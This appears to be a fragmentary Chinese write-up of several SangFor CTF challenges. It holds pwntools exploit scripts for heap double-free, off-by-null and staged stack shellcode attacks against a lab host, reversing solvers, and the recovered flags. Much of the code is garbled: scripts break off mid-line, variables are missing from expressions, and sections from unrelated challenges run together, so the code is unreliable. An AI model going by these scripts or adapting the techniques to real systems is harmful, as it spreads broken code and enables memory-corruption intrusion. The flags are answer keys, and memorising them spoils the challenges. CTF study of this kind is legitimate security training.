WIP
#!/usr/bin/env python3
from pwn import *
warnings.filterwarnings("ignore", category=BytesWarning)
context(arch="amd64")
context(log_level="debug")
context.proxy="127.0.0.1"
p = remote("192.168.40.193", 8889)
# GLIBC 2.23
# ~ p = process("./how2heap")
def free(idx):
p.sendlineafter("> ", "3")
p.sendlineafter(":", str(idx))
def add(ctx):
p.sendlineafter("> ", "1")
p.sendafter(":", ctx)
## Fastbin attack
for i in range(0x31):
add('A')
free(0x2f)
free(0x2e)
free(0x2e) # Double free
add(p64(0x602088)) # 0x602088 is the address of fake fast chunk
add("B")
add("C")
## Construct fake fast chunk at 0x602088
free(0x100000000-0xc)
free(0x100000000-0xc)
## shellcode for malloc
s = """
push 0x6020C0
pop rax
ret
nop
"""
## set `idx` on .bss section to -0xf
## -0xf is the offset to malloc GOT table entry
add(asm(s) + p32(0x100000000-0xf))
## shellcode for mprotect
s = """
push 0x1324ba
pop rbx
// r11: a libc address
// rbx: the offset to one gadge
比赛结束3小时怼出来了。。
x32执行x64代码?
windbg可以正常调试
每两字节按16进制转化为1字节
对转化后的字节
1.ror 3
2.xor 0x64
然后与 90 f0 70 7c 52 05 91 90 aa da 8f fa 7b bc 79 4d 比较
但是16进制转化时存在区分大小写字母的情况,动调时可以在cmp al,bl下断点,手动计算断在那的次数,一旦下一次没触发断点说明大小写字母存在问题。
cmp = "90 f0 70 7c 52 05 91 90 aa da 8f fa 7b bc 79 4d".split()
cmp = [int(_, 16) for _ in cmp]
for num in cmp:
for i in range(0xff):
cur = ((i & 0b111) << 5) | (i >> 3)
cur ^= 0x64
if cur == num:
print(hex(i)[2:].rjust(2, '0').upper(), end='')
改一下可得 SangFor{A7A4A0C0B10Bafa776F55FF4F8C6E849}
edit 功能存在 off-by-null。
首先泄露 heap 地址,然后利用 off-by-null 和 fake chunk 构造 overlapping chunk(consolidate backward)。最后泄露 libc 地址,修改堆上的函数指针,利用 setcontext getshell 后读 flag。
#!/usr/bin/env python3
from pwn import *
warnings.filterwarnings("ignore", category=BytesWarning)
context(arch="amd64")
context(log_level="debug")
libc = ELF("./libc.so.6")
context.proxy = '127.0.0.1'
p = remote("192.168.40.193", 9999)
# ~ p = process("./name", env={"LD_PRELOAD":"./libc.so.6"})
def add(size):
p.sendlineafter("5.exit", '1')
p.sendlineafter(":", str(size))
def edit(idx, ctx):
p.sendlineafter("5.exit", '2')
p.sendlineafter(":", str(idx))
p.sendafter(":", ctx)
def free(idx):
p.sendlineafter("5.exit", '4')
p.sendlineafter(":", str(idx))
def show(idx):
p.sendlineafter("5.exit\n", '3')
p.sendlineafter(":", str(idx))
add(0xf8)
add(0xf8)
add(0xf8)
add(0xf8)
add(0x60)
## Leak heapbase
show(4)
p.recvline()
HEAP = u64(p.recv(6).ljust(8, b'\x00')) - 0x
调试时dump smc代码,patch源程序方便F5。然后用python模拟下虚拟机指令,得到执行流程。
模拟程序
opcode = [161, 193, 0, 177, 119, 194, 74, 1, 0, 0, 193, 1, 178, 119, 194, 25, 1, 0, 0, 193, 2, 180, 119, 194, 221, 1, 0, 0, 193, 3, 179, 119, 194, 15, 1, 0, 0, 193, 4, 178, 119, 194, 27, 1, 0, 0, 193, 5, 180, 119, 194, 137, 1, 0, 0, 193, 6, 177, 119, 194, 25, 1, 0, 0, 193, 7, 179, 119, 194, 84, 1, 0, 0, 193, 8, 177, 119, 194, 79, 1, 0, 0, 193, 9, 177, 119, 194, 78, 1, 0, 0, 193, 10, 179, 119, 194, 85, 1, 0, 0, 193, 11, 179, 119, 194, 86, 1, 0, 0, 193, 12, 180, 119, 194, 142, 0, 0, 0, 193, 13, 178, 119, 194, 73, 0, 0, 0, 193, 14, 179, 119, 194, 14, 1, 0, 0, 193, 15, 177, 119, 194, 75, 1, 0, 0, 193, 16, 179, 119, 194, 6, 1, 0, 0, 193, 17, 179, 119, 194, 84, 1, 0, 0, 193, 18, 178, 119, 194, 26, 0, 0, 0, 193, 19, 177, 119, 194, 66, 1, 0, 0, 193, 20, 179, 119, 194, 83, 1, 0, 0, 193, 21, 177, 119, 194, 31, 1, 0, 0, 193, 22, 179, 119, 194, 82, 1, 0, 0, 193, 23, 180, 119, 194
调试时把解密数据dump下来,patch源程序即可F5得到伪代码。主要逻辑就是魔改base64,变表+异或。
```
xor_key = [0xa6, 0xa3, 0xa9, 0xac]
table = [228, 196, 231, 199, 230, 198, 225, 193, 224, 192, 227, 195, 226, 194, 237, 205, 236, 204, 239, 207, 238, 206, 233, 201, 232, 200, 235, 203, 234, 202, 245, 213, 244, 212, 247, 215, 246, 214, 241, 209, 240, 208, 243, 211, 242, 210, 253, 221, 252, 220, 255, 223, 149, 156, 157, 146, 147, 144, 145, 150, 151, 148, 138, 142]
en = list(b"H>oQn6aqLr{DH6odhdm0dMe`MBo?lRglHtGPOdobDlknejmGI|ghDb<4")
en = [en[] ^ xor_key[%4] for _ in range(len(en))][:-1]
en = [bin(table.index())[2:].rjust(6, '0') for in en]
en = ''.join(en)
for i in range(0, len(en), 8):
print(chr(int(en[i:i+8], 2)), end='')
FLAG:SangFor{XSAYT0u5DQhaxveIR50X1U13M-pZK5A0}
程序伪代码很难看,动调可看出就是乘法和减法的结果和常值进行比较。
from z3 import *
res = [0x249E15C5,-42564,
885517026,8555,
1668903866,33181,
241160452,37779]
for i in range(0, len(res), 2):
a, b = res[i:i+2]
x, y = Ints("x y")
s = Solver()
s.add(x*y == a)
s.add(x-y == b)
s.add(x > 0)
s.add(y > 0)
cond = s.check()
if cond == sat:
m = s.model()
rx = m[x].as_long()
ry = m[y].as_long()
print(hex(rx)[2:].rjust(4, '0').upper()+hex(ry)[2:].rjust(4, '0').upper())
得到 2C7BD2BF862564BAED0B6B6EA94F15BC
其中第二组数据(862564BA)程序是按小写字母16进制转化的,改为小写即可。
FLAG:SangFor{2C7BD2BF862564baED0B6B6EA94F15BC}
netcat连接输入密码得到base64的表,还原密码MD5的摘要值GOOGLE搜一下就可以得到654321
s = 'c232666f1410b3f5010dc51cec341f58'
data = []
for i in range(0, len(s), 2):
data.append(int(s[i:i+2], 16)+1)
import codecs
print(codecs.encode(bytes(data), 'hex')) # pass 654321
table = list(b'TGtUnkaJD0frq61uCQYw3-FxMiRvNOB/EWjgVcpKSzbs8yHZ257X9LldIeh4APom')
enc = list(b'3lkHi9iZNK87qw0p6U391t92qlC5rwn5iFqyMFDl1t92qUnL6FQjqln76l-P')
bin_enc = ''
for num in enc:
bin_enc += bin(table.index(num))[2:].rjust(6, '0')
for i in range(0, len(bin_enc), 8):
print(chr(int(bin_enc[i:i+8], 2)), end='')
FLAG:SangFor{212f4548-03d1-11ec-ab68-00155db3a27e}
父子进程调试,调试者主要有两个功能:解密被调者程序段和hook第一次srand的参数。
先用angr得到解密后的程序段,patch源程序方便F5。
import angr
opcode = [126, 147, 203, 166, 119, 161, 67, 203, 183, 5, 130, 131, 75, 151, 214, 116, 238, 9, 182, 8, 109, 160, 70, 191, 3, 92, 142, 150, 59, 5, 198, 162, 56, 142, 39, 65, 88, 109, 101, 30, 11, 135, 102, 50, 63, 67, 219, 213, 213, 19, 249, 189, 237, 158, 113, 246, 201, 90, 88, 97, 141, 132, 224, 161, 238, 18, 111, 25, 189, 251, 153, 158, 72, 59, 89, 67, 165, 130, 246, 62, 52, 31, 28, 41, 72, 227, 27, 151, 102, 148, 253, 230, 250, 142, 101, 107, 158, 46, 210, 23, 113, 52, 182, 132, 44, 135, 79, 31, 253, 110, 185, 224, 227, 37, 217, 16, 245, 245, 56, 210, 115, 162, 26, 171, 140, 182, 13, 11, 168, 139, 147, 231, 99, 190, 101, 9, 213, 236, 49, 178, 143, 247, 152, 29, 126, 206, 151, 52, 18, 75, 7, 180, 13, 98, 139, 252, 138, 198, 250, 249, 166, 138, 170, 213, 208, 100, 217, 195, 240, 82, 38, 26, 240, 72, 107, 176, 94, 132, 153, 212, 193, 37, 12
user 存在栈溢出。程序没有开 NX,可以在栈上执行 shellcode。栈上能写 shellcode 的空间很小,只有 8 byte。
第一段 shellcode 利用 sub_40095D 将第两段 shellcode 写到栈上,然后转跳到第两段 shellcode。第两段 shellcode 最大长度是 16 bytes。
第两段 shellcode 和第一段 shellcode 类似,把第三段 shellcode 写到栈上。最后通过第三段 shellcode 读 flag。
#!/usr/bin/env python3
from pwn import *
warnings.filterwarnings("ignore", category=BytesWarning)
context(arch="amd64")
context(log_level="debug")
context.proxy="127.0.0.1"
p = remote("192.168.40.193", 40001)
# ~ p = process("./nologin")
p.sendlineafter(">", "2")
## 1st shellcode
## This shellcode is used to load 2nd shellcode from user input by sub_40095D
s="""
push rax
pop rdi
// 0x40095D
mov ebx, [rsp]
call rbx
nop
"""
## rax is pointing to 1st shellcode on stack
jmp_rax = 0x400851
p.sendlineafter("password:", b'A'*5 + asm(s) + p64(jmp_rax) + p64(0x40095D))
## 2nd shellcode
## This shellcode is used to load 3rd shellcode from user input
## It will be overwritten by 3rd shellcode later by read syscall.
s